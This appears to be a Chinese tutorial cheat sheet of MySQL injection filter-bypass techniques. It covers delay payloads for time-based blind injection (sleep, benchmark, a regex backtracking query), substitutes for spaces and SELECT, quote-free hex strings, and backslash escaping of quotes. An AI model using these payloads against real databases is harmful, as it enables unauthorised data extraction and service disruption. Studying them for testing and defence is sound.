基本利用-sleep
基础利用
用法:sleep(延时的秒数)
一般情况下,使用if
或case
构造条件表达式进行延时:
if((condition), sleep(5), 0);
CASE WHEN (condition) THEN sleep(5) ELSE 0 END;
无if和case的解决办法
假设if
和case
被ban了,又想要根据condition的真假来决定是否触发sleep()
,可以将condition整合进sleep()
中,做乘法即可:
sleep(5*(condition))
如果condition为真则返回1,5*(condition)
即5*1
为5,延时5秒;如果condition为假则返回0,5*(condition)
即5*0
为0,延时0秒。
Bypass方法
benchmark
是替代sleep
的首选。
用法:benchmark(执行多少次,执行什么操作)
通过修改执行的次数和执行的操作(比如sha1(sha1(sha1(sha1())))
这样多套几层),可以精准控制延时时间。
笛卡尔积
也就是所谓的HEAVY QUERY,用的不多。
get_lock
可以精准控制延时时间,但是不好用,因为需要维持MySQL的会话,基本用不到。
正则
通过正则的状态机不断进行状态转换,增加比配的时长,打到延时的目的。例如:
select rpad(‘a’,4999999,’a’) RLIKE concat(repeat(‘(a.*)+’,30),’b’);
空格
行内注释(推荐)
100%用来替代空格
select/*woshizhushi*/id/**/from/**/student;
换行符(推荐)
%0d%0a
也是不错的替代空格的方法。
select(id)from(student);
但是括号不能去括一些mysql自带的关键字,例如不能把from
括起来,不作为首选的绕过方法。
反引号
对于表名和列名可以用反引号包裹起来。
select`id`from`student`;
select关键字
mysql8.0
在MySQL 8.0版本中,table student
等价于 select * from student;
在当前的表查其他字段
在对当前表的列名注入时,可以直接写字段名,而无需select 该字段 from 该表
select * from student where student_id = '2019122001' and ascii(substr(name,1,1))>0; # 这里name直接写,而不需要写成select name from student
单引号和字符串
没有单引号就没有字符串,如何写字符串?
1.字符串的十六进制形式
'abc'
等价于 0x616263
2. unhex()
与hex()
连用
'abc'
等价于unhex(hex(6e6+382179));
可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i
)
具体转换的步骤是:①abc
转成16进制是616263
②616263
转十进制是6382179
③用科学计数法表示6e6+382179
④套上unhex(hex())
,就是unhex(hex(6e6+382179));
没有单引号没办法做SQL注入的参数逃逸
1. 宽字节注入
>2. 转义法
条件是:用户可以控制一前一后两个参数
方法是:前面的参数输入\
转义掉单引号,后面参数逃逸出来
例如:select * from users where username = '\' and password = 'and 1=1#'